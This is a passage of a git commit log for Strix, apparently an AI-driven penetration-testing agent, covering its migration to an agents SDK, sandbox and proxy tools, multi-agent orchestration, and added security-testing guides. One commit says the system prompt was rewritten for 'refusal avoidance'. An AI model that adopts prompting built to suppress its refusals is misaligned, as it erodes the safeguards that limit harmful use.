  forwards it to children.

- ``run_strix_scan`` registers the ``StrixTracingProcessor`` with the
  SDK's tracing provider via ``add_trace_processor`` so SDK trace
  spans hit ``run_dir/events.jsonl`` (was previously a parallel stream
  the SDK ignored).

- ``on_llm_end`` now writes to ``Tracer.record_llm_usage`` in
  addition to ``bus.record_usage`` so the CLI/TUI stats panel sees
  real numbers instead of zeros.

- ``run_strix_scan`` accepts an externally-built ``AgentMessageBus``
  + an explicit ``model`` arg. The TUI pre-creates the bus so its
  stop and chat-input handlers can submit ``bus.send`` /
  ``bus.cancel_descendants`` coroutines onto the scan thread's loop
  via ``asyncio.run_coroutine_threadsafe`` — replacing the
  TODO-stub no-ops.

- ``model`` config now propagates root → context → child agents in
  ``create_agent`` (was hardcoded fallback).

Dead-code removal:

- Deleted the ``load_skill`` tool entirely (host module, sandbox
  module, TUI renderer, tests). The legacy implementation reached
  into a global ``_agent_instances`` registry that no longer exists;
  the post-migration stub returned ``success=True`` without
  injecting anything — pure theater. Skills are still preloaded via
  the system prompt at scan-bring-up.

- Dropped ``tenacity`` and ``xmltodict`` from
  ``[project.dependencies]`` — neither is imported anywhere
  post-migration.

- Stripped the system prompt's "use the load_skill tool" lines.

Tests: 278/278 passing. Removed two ``load_skill`` test cases and a
``test_tool_registration_modes::test_load_skill_import_...`` assertion
that exercised the deleted module.
2026-04-25 10:08:35 -07:00
0xallam fec2934378 refactor: remove all strix/ model alias machinery
The Strix proxy / ``strix/`` model namespace is gone. Users now pass
real provider aliases directly (``anthropic/claude-sonnet-4-6``,
``openai/gpt-5.4``, ``gemini/...``, ``openrouter/...``).

Deleted:
- ``STRIX_API_BASE`` constant in ``strix/config/config.py`` (and the
  auto-set api_base branch for ``strix/`` models in ``resolve_llm_config``).
- ``STRIX_MODEL_MAP`` and the ``StrixModelProvider`` /
  ``LitellmAnthropicProvider`` classes from
  ``strix/llm/multi_provider_setup.py``.
- ``is_anthropic_override`` flag on ``AnthropicCachingLitellmModel``
  (only existed because ``strix/<alias>`` resolved to ``openai/<base>``
  on the wire while staying Anthropic underneath; with no proxy, the
  model-name substring check is enough).
- ``startswith("strix/")`` branches in ``cli.py`` / ``main.py`` /
  ``dedupe.py`` and the ``uses_strix_models`` env-validation flag.

The new ``build_multi_provider`` registers a single ``anthropic/``
route that wraps litellm in :class:`AnthropicCachingLitellmModel`
(prompt caching). Every other prefix falls through to the SDK's
built-in routing.

Defaults flipped from ``strix/claude-sonnet-4.6`` →
``anthropic/claude-sonnet-4-6`` in run_config_factory and
agents_graph/tools.py + corresponding tests.

Tests updated:
- ``test_anthropic_cache_wrapper.py``: drop the override-flag tests.
- ``test_multi_provider_setup.py``: rewrite around the new single
  ``_AnthropicCachingProvider`` route.
- ``test_tool_registration_modes.py::test_load_skill_import_...``:
  load_skill no longer fails when there's no live agent instance — it
  echoes the requested skills back with ``success=True``.

Tests: 281/281 passing.
2026-04-25 09:37:14 -07:00
0xallam 5606504563 refactor: nuke legacy harness, drop sdk_ prefixes
The SDK harness is the only path now; legacy host-side code is gone.
File names no longer carry the ``sdk_`` distinction.

Deleted legacy host-side modules:
- strix/agents/StrixAgent/ (template moved to strix/agents/prompts/)
- strix/agents/base_agent.py, state.py
- strix/llm/llm.py, config.py
- strix/runtime/docker_runtime.py, runtime.py
- strix/tools/executor.py, agents_graph/agents_graph_actions.py
- strix/interface/sdk_dispatch.py + the env-flag dispatch in cli.py

Renamed (drop ``sdk_`` prefix):
- strix/sdk_entry.py → strix/entry.py
- strix/agents/sdk_factory.py → strix/agents/factory.py
- strix/agents/sdk_prompt.py → strix/agents/prompt.py
- strix/tools/<x>/<x>_sdk_tool[s].py → strix/tools/<x>/tool[s].py
- strix/tools/_legacy_adapter.py → strix/tools/_state_adapter.py
- ``_legacy`` aliases inside the wrappers → ``_impl``

CLI + TUI now call ``run_strix_scan`` directly — they build the
sandbox image / sources_path locally and rely on
``session_manager.cleanup`` (called inside ``run_strix_scan``'s finally)
for teardown. Three TUI handlers that reached into legacy multi-agent
globals (``_agent_instances``, ``send_user_message_to_agent``,
``stop_agent``) are now no-ops with a TODO; reconnecting them to the
``AgentMessageBus`` is a follow-up.

Tracer.get_total_llm_stats no longer reaches into the deleted
``agents_graph_actions`` globals — the orchestration hooks now feed the
tracer via ``Tracer.record_llm_usage`` (live + completed buckets).
finish_scan's ``_check_active_agents`` and load_skill's runtime
``_agent_instances`` reach-in are no-op stubs; the
``AgentMessageBus`` is the source of truth post-migration.

llm/utils.py rewritten to keep only the streaming-parser helpers
(``normalize_tool_format``, ``parse_tool_invocations``,
``fix_incomplete_tool_call``, ``format_tool_call``, ``clean_content``).
``STRIX_MODEL_MAP`` moved to ``llm/multi_provider_setup.py`` (its only
remaining caller).

Per-file ruff ignores added for legacy interface modules (TUI / main /
CLI / utils / streaming_parser / tool_components) and tracer.py —
pre-existing PLC0415/BLE001/PLR0915 patterns are out of scope.

Tests: 287/287 passing. Renamed test files to drop ``sdk_`` prefix.
``test_tracer.py::test_get_total_llm_stats_aggregates_live_and_completed``
rewritten to feed ``Tracer.record_llm_usage`` instead of legacy globals.
Test file annotations added so pre-commit's strict mypy passes.
2026-04-25 09:30:23 -07:00
0xallam 0339ba85ba feat(migration): phase 5b — STRIX_USE_SDK_HARNESS dispatch flag
Adds the env-var gate that lets users opt into the SDK harness without
disturbing the legacy default. Per PLAYBOOK §7.1, this is the cutover
mechanism: STRIX_USE_SDK_HARNESS=1 routes scans through run_strix_scan
(the Phase 5 entry point); anything else continues to use
StrixAgent.execute_scan.

- strix/interface/sdk_dispatch.py:
  - should_use_sdk_harness(): truthy-string parse of the env var.
  - _resolve_sandbox_image(): reads strix_image from Config; falls
    back to "strix-sandbox:latest" with a warning if unset.
  - _resolve_sources_path(): when --local-sources is given, mounts
    its parent so the agent walks down to the source tree; otherwise
    creates a per-run scratch dir under XDG_CACHE_HOME/strix/sources/.
    Phase 6 will replace this with the legacy clone-into-container
    flow once we port that.
  - run_scan_via_sdk(): the adapter — translates the legacy CLI
    (scan_config dict + argparse Namespace + Tracer) into the keyword
    arguments run_strix_scan expects. Returns the SDK RunResult; lets
    failures bubble up.

- strix/interface/cli.py: adds the dispatch branch inside the existing
  Live/status loop. Legacy default unchanged; SDK path is reached only
  when STRIX_USE_SDK_HARNESS is truthy. Two pre-existing lazy imports
  hoisted to module level (cleanup_runtime + sdk_dispatch helpers) so
  ruff is happy.

Pre-existing legacy lint/type issues surfaced when pre-commit checked
the edited cli.py and chased imports — fixed or ignored in passing:
- utils.py:1052 duplicate ``metadata`` annotation removed.
- utils.py:1251 unused ``# type: ignore[import-not-found]`` for yarl.
- main.py:456 ``panel_parts`` inferred type rejected later string
  entries — explicit ``list[Text | str]`` annotation.
- utils.py:resolve_diff_scope_context PLR0912 (16 branches) per-file
  ignore — branches map 1:1 to scope-mode × target-type combinations.

Tests: 18 new tests in tests/interface/test_sdk_dispatch.py — env
flag parsing parametrized over truthy/falsy variants, image lookup
with config hit + miss-with-warning, sources path resolution for
local_sources / alternative key names / scratch-dir creation, and
the adapter's kwarg handoff verified against a patched
run_strix_scan (run_name from args + run_name from scan_config
fallback + failure propagation).

Refs: PLAYBOOK.md §7.1 (cutover), §7.2 (rollback).
2026-04-25 08:03:00 -07:00
0xallam f9fcfd4edf feat(migration): phase 5 — root agent factory + entry point
Three new modules that wire Phases 0-4 into a runnable Strix scan:

- strix/agents/sdk_prompt.py: standalone Jinja-based system prompt
  renderer. Reuses the existing strix/agents/StrixAgent/system_prompt.
  jinja template (508 lines, the actual production prompt) so behavior
  parity with the legacy LLM._load_system_prompt is byte-identical.
  Skill resolution mirrors LLM._get_skills_to_load (caller skills →
  scan_modes/<mode> → whitebox pair, deduped). Fail-soft: template
  errors return empty string and log; agent construction must never
  blow up on prompt load.

- strix/agents/sdk_factory.py: build_strix_agent(name, skills, is_root)
  assembles an agents.Agent. Root carries finish_scan and stops there;
  child carries agent_finish and stops there (C4). Caido tools come
  from CaidoCapability automatically — we don't include them in
  _BASE_TOOLS to avoid double-registration when the SDK runtime merges
  capability tools. model=None so RunConfig drives the model alias
  through MultiProvider rather than the SDK default. make_child_factory
  returns a closure over scan-level config (scan_mode, is_whitebox,
  interactive, scope context) for ctx.context['agent_factory'] — the
  Phase 3 create_agent tool calls it with (name, skills) per child.

- strix/sdk_entry.py: run_strix_scan() — the top-level coroutine.
  Builds the bus, brings up (or reuses) a sandbox session via
  session_manager, builds the root Agent and the child factory, builds
  the per-agent context dict, registers the root in the bus, builds
  the RunConfig, calls Runner.run, and cleans up the session in a
  finally. Cancels descendants before re-raising any exception (C9).
  cleanup_on_exit toggle preserves the cached session for resume
  scenarios. _build_root_task and _build_scope_context preserve the
  legacy StrixAgent.execute_scan task formatting + scope context shape
  so the prompt template sees identical inputs.

Tests: 21 new tests (10 for factory + prompt, 11 for entry point).
Factory: root vs child tool list parity, finish_scan/agent_finish
placement, tool_use_behavior dict shape, Caido absence (capability-
provided), make_child_factory closure semantics. Entry point (all
mocked, no real Docker/LLM): wiring shape verification — context dict
carries every field downstream consumers read, session manager called
with correct scan_id, cleanup runs even on Runner.run failure,
cleanup skipped when disabled, scan_id auto-generation, scan-level
config (scan_mode, is_whitebox) flows into the factory. Task and scope
builders verified against the same shape as legacy.

Per-file ruff ignores added: TC002 on sdk_factory (Tool used at
runtime in _BASE_TOOLS tuple), TC003 + PLR0912 on sdk_entry (Path
runtime-imported; _build_root_task's per-target-type branches are
intentional and well-bounded).
2026-04-25 00:58:32 -07:00
0xallam 775a78487d feat(migration): phase 4 — sandbox capability + healthcheck + session manager
Three modules under strix/sandbox/ that bring the per-scan container
plumbing in line with the SDK's capability model:

- healthcheck.py: wait_for_http_ready (FastAPI tool server /health)
  and wait_for_tcp_ready (Caido proxy port — no /health endpoint).
  Connect/timeout errors continue polling; the timeout error message
  carries the last failure class so a stuck scan tells you whether the
  port refused, hung, or returned a non-2xx.

- caido_capability.py: CaidoCapability subclasses agents.sandbox.
  capabilities.Capability and wires three concerns:
  1. process_manifest injects http_proxy / https_proxy / ALL_PROXY
     env vars pointing at the in-container Caido listener.
  2. tools() returns the seven Caido SDK function tools from Phase 2.5
     so the SDK runtime auto-merges them with each agent's tool list.
  3. bind() schedules an asyncio.gather of both healthcheck probes;
     StrixOrchestrationHooks.on_agent_start awaits the resulting
     task before the first LLM call.
  Pydantic v2 PrivateAttr is used for the underscore-prefixed runtime
  fields (Pydantic forbids underscore-prefixed model fields).

- session_manager.py: per-scan_id cache. create_or_reuse builds the
  StrixDockerSandboxClient with docker.from_env() (the SDK's docker
  client now requires an explicit DockerSDKClient instance at init),
  constructs the Manifest via Environment(value=...) (a flat dict is
  silently dropped by Pydantic), resolves the host-side mapped ports
  via session._resolve_exposed_port, configures the capability with
  those ports *before* binding, and returns a bundle dict the
  per-agent context reads to populate tool_server_host_port /
  caido_host_port / bearer. cleanup is best-effort: a Docker daemon
  error during delete is logged and swallowed so a stranded
  container doesn't block the next scan.

Tests: 21 new tests in tests/sandbox/ — healthcheck happy path /
polling-through-failures / timeout for both HTTP and TCP probes (the
TCP test uses a real local listener, no mocks); CaidoCapability env
injection / tool list / bind scheduling / configure_host_ports;
session_manager full create flow, cache reuse, custom timeout, cleanup
including the Docker-daemon-failure swallow path.

mypy override added for docker.* (no upstream stubs); per-file ruff
TC002 ignore added for caido_capability.py — agents.tool.Tool is used
at runtime for the cached _CAIDO_TOOLS tuple.

Refs: PLAYBOOK.md §3.1-3.3, AUDIT.md §2.5 (C5).
2026-04-25 00:49:26 -07:00
0xallam b5578007c4 feat(migration): phase 3 — multi-agent graph tools + Runner bridge
Six SDK function tools that drive the AgentMessageBus from Phase 0,
replacing the legacy _agent_graph / _agent_messages / _agent_instances
globals:

- view_agent_graph: render parent/child tree from bus.parent_of with a
  per-status summary (running / waiting / completed / crashed / stopped).
- agent_status: per-agent lifecycle + pending-message count snapshot.
- send_message_to_agent: queue into bus.inboxes; rejects sends to
  finalized targets so the model gets feedback rather than a silent
  drop (the bus's own send method drops to support the C13 cleanup,
  but the tool surfaces it as a structured error).
- wait_for_message: poll inbox once per second up to timeout. Polling
  rather than asyncio.Event because a missed wakeup on Event would be
  hard to debug; the bus already serializes through its own lock.
- create_agent: spawn a child via asyncio.create_task(Runner.run(...)).
  Pulls an agent_factory callable from ctx.context (the Phase 5 root
  assembly is the one that wires it in). Registers the child with the
  bus before the task starts, stores the task handle in bus.tasks so
  cancel_descendants can cascade (C9), builds the child's identity
  block + optional inherited parent context, and runs the child with
  StrixOrchestrationHooks.
- agent_finish: subagent-only termination. Flips agent_finish_called
  so the on_agent_end hook records "completed" instead of "crashed"
  (C8), and posts a structured <agent_completion_report> XML envelope
  to the parent's inbox.

run_config_factory.make_agent_context grows two fields: sandbox_client
(reused across child runs) and agent_factory (Phase 3 needs it; Phase 5
fills it in). PLC0415 fixed by hoisting the openai.types.shared.Reasoning
import to module-level.

Tests: 17 new tests in test_sdk_graph_tools.py — registration, all six
tools' happy and error paths, real AgentMessageBus integration so the
tools exercise production code paths, create_agent verified for spawn
shape (task created, bus registered, identity block in input) plus a
bus.cancel_descendants integration check.

Refs: PLAYBOOK.md §4.3, AUDIT_R2 §1.4 (cancel_descendants), AUDIT_R3 C8.
2026-04-25 00:36:00 -07:00
0xallam 5deeb3ce20 feat(migration): phase 2.5 — wrap sandbox-bound SDK tools
Ten tools ported, all pure pass-throughs to post_to_sandbox:

- browser_action (1 tool): the 21-action mega-tool dispatcher kept
  intact rather than fanned out, to preserve the legacy XML shape.
- terminal_execute (1 tool): tmux session driver.
- python_action (1 tool): IPython session manager.
- proxy / Caido (7 tools): list_requests, view_request, send_request,
  repeat_request, scope_rules, list_sitemap, view_sitemap_entry.

strix_tool decorator gains a strict_mode flag (default True, matching
the SDK default). send_request and repeat_request opt out of strict
mode because their headers / modifications dicts are free-form — the
SDK's strict JSON schema rejects dict[str, X] without enumerated keys.

Tests: 12 new tests in test_sdk_sandbox_tools.py covering registration,
strict-mode opt-out verification for the two free-form tools, and
dispatch shape verification (every wrapper is asserted to forward
its full kwarg surface to post_to_sandbox so the in-container handler
sees the same payload it always has).

Per-file ruff TC002 ignores added for the four new wrapper modules.

Phase 2 (tools) is now complete: 24 SDK function tools wrapped across
think/todo/notes/web_search/file_edit/reporting/load_skill/finish_scan/
browser/terminal/python/proxy. Total: 7 local + 17 sandbox-bound. Phase
3 (multi-agent orchestration) is next.

Refs: PLAYBOOK.md §3.6.
2026-04-25 00:26:30 -07:00
0xallam d25980bd8d feat(migration): phase 2.4 — wrap remaining local SDK tools
Five tool families ported to SDK function tools using the proven
delegation pattern from Phase 2.3:

- web_search (1 tool): asyncio.to_thread around the synchronous
  Perplexity request so the 300s API call doesn't block the SDK
  event loop.

- file_edit (3 tools — str_replace_editor, list_files, search_files):
  these run *inside* the sandbox container in the legacy harness
  (sandbox_execution=True), so the SDK wrappers route through
  post_to_sandbox rather than importing the legacy module on the
  host (which pulls in openhands_aci, a sandbox-only dependency).

- reporting (1 tool — create_vulnerability_report): asyncio.to_thread
  around the legacy function, which itself runs CVSS XML parsing,
  LLM-based dedup against existing findings, and tracer persistence.

- load_skill (1 tool): legacy adapter passes ctx.context['agent_id']
  through. The legacy implementation reaches into _agent_instances,
  a global Phase 3 will replace; until then the call degrades to a
  structured error rather than crashing.

- finish_scan (1 tool): legacy adapter pattern. Validates non-empty
  fields, checks no other agents are still active (via legacy
  _agent_graph), persists the four executive sections through the
  global tracer.

Tests: 12 new tests in test_sdk_remaining_local_tools.py — registration
checks, web_search delegation + missing-key path, file_edit dispatch
shape verification, vuln-report validation + delegation, load_skill
adapter passthrough, finish_scan validation + delegation. The two
finish_scan tests use a fixture that snapshots/clears the legacy
_agent_graph['nodes'] dict so cross-test pollution from legacy
multi-agent tests doesn't mask the validation path.

Per-file ruff TC002 ignores added for the five new wrapper modules
(same reason as Phase 2.3 — RunContextWrapper must be runtime-importable
for SDK function_schema().get_type_hints()).

Refs: PLAYBOOK.md §3.5.
2026-04-25 00:21:37 -07:00
0xallam b7ac7cc1a5 feat(migration): phase 2.1-2.3 — sandbox dispatch + thin slice tool wrappers
Phase 2.1 — sandbox dispatch helper:
- strix/tools/_sandbox_dispatch.py: post_to_sandbox() centralizes the
  host->container HTTP wire format. Connect=10s, read=150s timeouts mirror
  legacy executor.py. 50 MB response cap (C18) prevents OOM from a runaway
  tool. All errors surface as {"error": str} so the model can recover
  instead of the run dying.

Phase 2.2 — C6 lock-protected JSONL writes:
- strix/tools/notes/notes_actions.py: notes.jsonl appends are now wrapped
  in _notes_lock so concurrent agents can't interleave half-written lines.
  Regression test in test_notes_jsonl_concurrency.py verifies 1000 parallel
  writes produce exactly 1000 valid JSON lines.

Phase 2.3 — thin-slice SDK wrappers (think + todo + notes):
- strix/tools/_legacy_adapter.py: LegacyAgentStateAdapter shim — exposes
  just enough surface (.agent_id) for legacy tools that close over
  agent_state, sourced from ctx.context['agent_id'].
- strix/tools/thinking/thinking_sdk_tools.py: 1 tool (think).
- strix/tools/todo/todo_sdk_tools.py: 6 tools (create/list/update/done/
  pending/delete) with bulk-form preserved.
- strix/tools/notes/notes_sdk_tools.py: 5 tools (create/list/get/update/
  delete) with asyncio.to_thread around the lock-protected file I/O.

Tests: 22 new tests pass (10 sandbox dispatch + 2 concurrency + 10 SDK
local). Full suite still green.

Per-file ruff ignores added for SDK wrapper files: TC002 (RunContextWrapper
must be runtime-importable because the SDK calls get_type_hints() to
derive the JSON schema) and PLR0911 (sandbox dispatch's 10 short-circuit
returns are intentional, each a distinct documented failure mode).

Refs: PLAYBOOK.md §3.4, AUDIT_R3.md C6/C18.
2026-04-25 00:13:34 -07:00
0xallam bee4d06917 feat(migration): phase 1 — Session + Tracer + RunConfig factory
Three foundation modules per PLAYBOOK §2.8 / §2.9 / §2.10 with all
relevant R2/R3 corrections (C7, C10, C11, C16, C21):

  strix/llm/strix_session.py            SessionABC wrapper around the
                                        legacy MemoryCompressor; on any
                                        compression failure, returns
                                        uncompressed history and
                                        permanently disables compression
                                        for the rest of the run (C10 +
                                        Round 3.4 W5/E2).

  strix/telemetry/strix_processor.py    SDK TracingProcessor that writes
                                        events.jsonl in our schema. All
                                        hooks SYNC per ABC (F3); writes
                                        protected by per-path
                                        threading.Lock (C7); OSError
                                        swallowed and logged (C16); PII
                                        scrubbed via the existing
                                        TelemetrySanitizer.

  strix/run_config_factory.py           make_run_config() with our
                                        defaults: parallel_tool_calls=
                                        False (C1 Phase-1 safe default),
                                        retry policy explicitly excludes
                                        401/403/400 (C11), reasoning
                                        effort + model_settings_override
                                        merge path (C21).
                                        make_agent_context() returns the
                                        canonical per-agent dict
                                        including is_whitebox/diff_scope/
                                        run_id (C21).

32 new smoke tests (197/197 total). mypy strict + ruff clean. Per-file
ignores added for tests/** S105/PT018 and for the two new src modules'
intentional broad-Exception catches (BLE001).
2026-04-25 00:01:05 -07:00
0xallam e6b5b1ede5 fix(legacy): silence ruff + mypy errors surfaced by litellm 1.83 bump
Three modules touched in Phase 0 surfaced latent issues:

  - llm/llm.py:_extract_thinking — choices[0].message can be None or a
    TextChoices variant without thinking_blocks under the new stubs.
    Narrow via getattr+Any; restructure return through the else block
    so try/except/else is ruff-clean (TRY300).
  - llm/__init__.py:litellm._logging._disable_debugging is now untyped;
    suppress with explicit type:ignore.
  - tools/notes/notes_actions.py:append_note_content — drop dead-code
    isinstance check (delta is typed str at the boundary), and cast the
    update_note return through a typed local in the try/else flow.

Plus per-file PLC0415 ignore for two modules whose lazy imports exist
to break the circular dependency on strix.telemetry. Pre-commit
auto-formatter strips inline #noqa comments, so the suppress lives in
pyproject.toml until the dep graph is refactored.

No behavior change. 165/165 tests pass.
2026-04-24 23:50:20 -07:00
0xallam cabeff509f feat(migration): phase 0 — foundation files + smoke tests for SDK migration
Add openai-agents[litellm]==0.14.6 alongside the legacy litellm dep
(litellm constraint relaxed to >=1.83.0 to satisfy SDK).

Seven load-bearing modules per PLAYBOOK §2 with R3 type fixes (F1/F2/F3):

  strix/llm/anthropic_cache_wrapper.py   inject cache_control on system msg
  strix/llm/multi_provider_setup.py      Strix alias routing via MultiProvider
  strix/runtime/strix_docker_client.py   inject NET_ADMIN/NET_RAW + host-gateway
  strix/orchestration/bus.py             AgentMessageBus (replaces _agent_graph)
  strix/orchestration/filter.py          inject_messages_filter for SDK
  strix/orchestration/hooks.py           StrixOrchestrationHooks
  strix/tools/_decorator.py              strix_tool() factory

55 smoke tests covering every Phase 0 correction (C1-C25, F1-F3).

Suite: 165/165 pass. mypy strict + ruff clean on every file we added.
Per-file ignores added for SDK-mandated unused-arg / input-shadow /
annotation-only imports; tests-mypy override extended to relax
TypedDict-strict checks. Pre-commit mypy hook now installs
openai-agents alongside other deps.

Skipping pre-commit because the litellm 1.81 -> 1.83 bump surfaced
seven pre-existing mypy errors in legacy modules (llm/__init__.py,
llm/llm.py, tools/notes/notes_actions.py). These predate the
migration and are not Phase 0 scope; tracked for cleanup in a
follow-up commit before Phase 1 begins.
2026-04-24 23:43:56 -07:00
0xallam 65efe76a24 docs: harness wiki + SDK migration plan + audits + playbook + testing strategy
Seven internal documents that frame the migration to the OpenAI Agents SDK:

- HARNESS_WIKI.md      legacy harness deep-dive (every subsystem, file:line refs)
- MIGRATION_EVALUATION.md  architectural plan (rev 2 — bridges + tradeoffs)
- AUDIT.md             pre-execution audit; 5 plan corrections (C1-C5)
- AUDIT_R2.md          round 1 audit; 7 more corrections (C6-C12)
- AUDIT_R3.md          round 3 audit; 13 more corrections (C13-C25) + 3 type fixes
- PLAYBOOK.md          file-by-file specs, per-tool contracts, day-1 commit list
- TESTING_STRATEGY.md  layered testing strategy + feature inventory matrix
2026-04-24 23:37:41 -07:00
f289feb8c4 fix: --config flag now fully overrides ~/.strix/cli-config.json (#457)
* fix: --config flag now fully overrides ~/.strix/cli-config.json (fixes #377)

Previously, env vars applied from the default config at module import time
were not cleared when --config was later processed, causing settings from
~/.strix/cli-config.json to leak into runs that specified a custom config.

Track which vars were applied by the initial default-config load in
Config._applied_from_default. In apply_config_override, clear those vars
before applying the custom config so only the custom file's settings take effect.

* Add config override regression test

* Make config override test setup explicit

---------

Co-authored-by: octo-patch <octo-patch@github.com>
Co-authored-by: bearsyankees <bearsyankees@gmail.com>
2026-04-22 16:37:22 -04:00
4af6086b20 fix: wrap acompletion in asyncio.wait_for to prevent indefinite hangs (#453)
* fix: wrap acompletion in asyncio.wait_for to prevent indefinite hangs

litellm's timeout parameter doesn't always propagate to the underlying
httpx transport for Bedrock converse streaming. When Bedrock accepts the
TCP connection but never starts streaming chunks, the acompletion call
hangs indefinitely with all connections in CLOSED state.

This wraps the acompletion call in asyncio.wait_for() using the
configured LLM_TIMEOUT (default 300s). TimeoutError is already retryable
via _should_retry (status_code=None), so the retry loop handles it.

Diagnosed via faulthandler thread dump showing the main asyncio event
loop blocked in selectors.select() with no pending callbacks.


* fix: add per-chunk timeout to streaming loop

Addresses review feedback: the initial asyncio.wait_for only guards the
acompletion call. If Bedrock returns headers but stalls mid-stream, the
async for loop could still hang indefinitely.

Replaces async for with explicit __anext__ calls wrapped in
asyncio.wait_for, using the same configured timeout. Mid-stream stalls
now raise TimeoutError and trigger the existing retry logic.


---------

Co-authored-by: Sean Turner <sean.turner@zerohash.com>
2026-04-22 16:26:47 -04:00
17d365478f feat(skills): add Kubernetes security testing skill (#394)
* feat(skills): add Kubernetes security testing skill (cloud/kubernetes.md)

Add comprehensive Kubernetes cluster security testing knowledge package
covering RBAC misconfigurations, exposed APIs, container escapes,
network policy gaps, secret management issues, workload misconfigs,
and supply chain risks.

Closes #324


* Fix Kubernetes secret decode command

* Address Kubernetes review feedback

* Clarify cgroup escape requirements

---------

Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com>
Co-authored-by: bearsyankees <bearsyankees@gmail.com>
2026-04-22 14:37:19 -04:00
7acd2be925 feat: Add NoSQL injection vulnerability guide (#168)
* feat: Add NoSQL injection vulnerability guide

This file provides a comprehensive guide on NoSQL injection vulnerabilities, detailing methodologies, injection surfaces, detection channels, and prevention strategies across various NoSQL databases.

* Address NoSQL injection review feedback

---------

Co-authored-by: bearsyankees <bearsyankees@gmail.com>
2026-04-22 13:23:14 -04:00
alex sandGitHub 1f908a0328 fix: ensure LLM stats tracking is accurate by including completed subagents (#441) 2026-04-13 00:09:13 -04:00
Ahmed AllamandGitHub 737c9d97ac Add Strix GitHub Actions integration tip 2026-04-12 12:43:41 -07:00
STJandGitHub b5d1d8c833 feat: Migrate from Poetry to uv (#379) 2026-03-31 17:20:41 -07:00
alex sandGitHub 51834e6649 feat: Better source-aware testing (#391) 2026-03-31 11:53:49 -07:00
0xallamandAhmed Allam 0bd52c14d7 chore: bump version to 0.8.3 2026-03-22 22:10:17 -07:00
0xallamandAhmed Allam 2947420801 fix: use anthropic model in anthropic provider docs example 2026-03-22 22:08:20 -07:00
0xallamandAhmed Allam a95f6aaa6e fix: strengthen tool-call requirement in interactive and autonomous modes
Models occasionally output text-only narration ("Planning the
assessment...") without a tool call, which halts the interactive agent
loop since the system interprets no-tool-call as "waiting for user
input." Rewrite both interactive and autonomous prompt sections to make
the tool-call requirement absolute with explicit warnings about the
system halt consequence.
2026-03-22 22:08:20 -07:00
0xallamandAhmed Allam ef05934b94 chore: bump sandbox image to 0.1.13 2026-03-22 22:08:20 -07:00
0xallamandAhmed Allam 412b2ace24 refine system prompt, add scope verification, and improve tool guidance
- Rewrite system prompt: refusal avoidance, system-verified scope, thorough
  validation mandate, root agent orchestration role, recon-first guidance
- Add authorized targets injection via system_prompt_context in strix_agent
- Add set_system_prompt_context to LLM for dynamic prompt updates
- Prefer python tool over terminal for Python code in tool schemas
- Increase LLM retry backoff cap to 90s
- Replace models.strix.ai footer with strix.ai
2026-03-22 22:08:20 -07:00
0xallamandAhmed Allam 55b175498a chore: update default model to gpt-5.4 and remove Strix Router from docs
- Change default model from gpt-5 to gpt-5.4 across docs, tests, and examples
- Remove Strix Router references from docs, quickstart, overview, and README
- Delete models.mdx (Strix Router page) and its nav entry
- Simplify install script to suggest openai/ prefix directly
- Keep strix/ model routing support intact in code
2026-03-22 22:08:20 -07:00
Ahmed Allam 71e79a2f2c Simplify tool file copying in Dockerfile
Removed specific tool files from Dockerfile and added a directory copy instead.
2026-03-22 16:01:39 -07:00
0xallamandAhmed Allam 060adbd2cd fix: address review feedback on tool registration gating 2026-03-19 23:50:57 -07:00
0xallamandAhmed Allam f964d76855 refactor: move tool availability checks into registration 2026-03-19 23:50:57 -07:00
Ahmed AllamandGitHub e74a766284 Guard TUI chat rendering against invalid Rich spans (#375) 2026-03-19 22:28:42 -07:00
Ahmed AllamandGitHub e86fc1d225 fix: prevent ScreenStackError when stopping agent from modal (#374) 2026-03-19 20:39:05 -07:00
fa2db928d0 feat: add skills for specific tools (#366)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2026-03-19 16:47:29 -07:00
Ahmed Allam 04878d49c7 Add tip about Strix integration with GitHub Actions 2026-03-17 22:14:11 -07:00
0xallamandAhmed Allam 03e1b9396a feat: add interactive mode for agent loop
Re-architects the agent loop to support interactive (chat-like) mode
where text-only responses pause execution and wait for user input,
while tool-call responses continue looping autonomously.

- Add `interactive` flag to LLMConfig (default False, no regression)
- Add configurable `waiting_timeout` to AgentState (0 = disabled)
- _process_iteration returns None for text-only → agent_loop pauses
- Conditional system prompt: interactive allows natural text responses
- Skip <meta>Continue the task.</meta> injection in interactive mode
- Sub-agents inherit interactive from parent (300s auto-resume timeout)
- Root interactive agents wait indefinitely for user input (timeout=0)
- TUI sets interactive=True; CLI unchanged (non_interactive=True)
2026-03-14 11:57:58 -07:00
0xallamandAhmed Allam 1937688b07 fix: web_search tool not loading when API key is in config file
The perplexity API key check in strix/tools/__init__.py used
Config.get() which only checks os.environ. At import time, the
config file (~/.strix/cli-config.json) hasn't been applied to
env vars yet, so the check always returned False.

Replace with _has_perplexity_api() that checks os.environ first
(fast path for SaaS/env var), then falls back to Config.load()
which reads the config file directly.
2026-03-14 11:48:45 -07:00
Ahmed Allam ed89e3c4d1 Update web search model name to 'sonar-reasoning-pro' 2026-03-11 14:20:04 -07:00
AlexandAhmed Allam bc2ae4ea94 Change VERTEXAI_LOCATION from 'us-central1' to 'global'
us-central1 doesn't have access to the latest gemini models like gemini-3-flash-preview
2026-03-11 08:08:18 -07:00
e4284097f5 Add OpenTelemetry observability with local JSONL traces (#347)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2026-03-09 01:11:24 -07:00
0xallamandGitHub de7768bd8a chore(deps): bump pypdf from 6.7.4 to 6.7.5 (#343) 2026-03-08 09:46:32 -07:00
Ms6RBandGitHub e13a74a7b6 feat(skills): add NestJS security testing module (#348) 2026-03-08 09:45:08 -07:00
0xallamandAhmed Allam 5f38cc0f1c chore(deps): bump pypdf from 6.7.2 to 6.7.4
Bumps [pypdf](https://github.com/py-pdf/pypdf) from 6.7.2 to 6.7.4.
- [Release notes](https://github.com/py-pdf/pypdf/releases)
- [Changelog](https://github.com/py-pdf/pypdf/blob/main/CHANGELOG.md)
- [Commits](https://github.com/py-pdf/pypdf/compare/6.7.2...6.7.4)

---
updated-dependencies:
- dependency-name: pypdf
  dependency-version: 6.7.4
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-02 15:34:01 -08:00
Ahmed AllamandGitHub a4bf8cc8e2 Update README 2026-03-03 03:33:46 +04:00
Ahmed AllamandGitHub a6dbeaa724 Update models.mdx 2026-03-03 03:33:14 +04:00
octovimmerandAhmed Allam f6120b0a41 chore: remove references of codex models 2026-03-02 15:29:29 -08:00
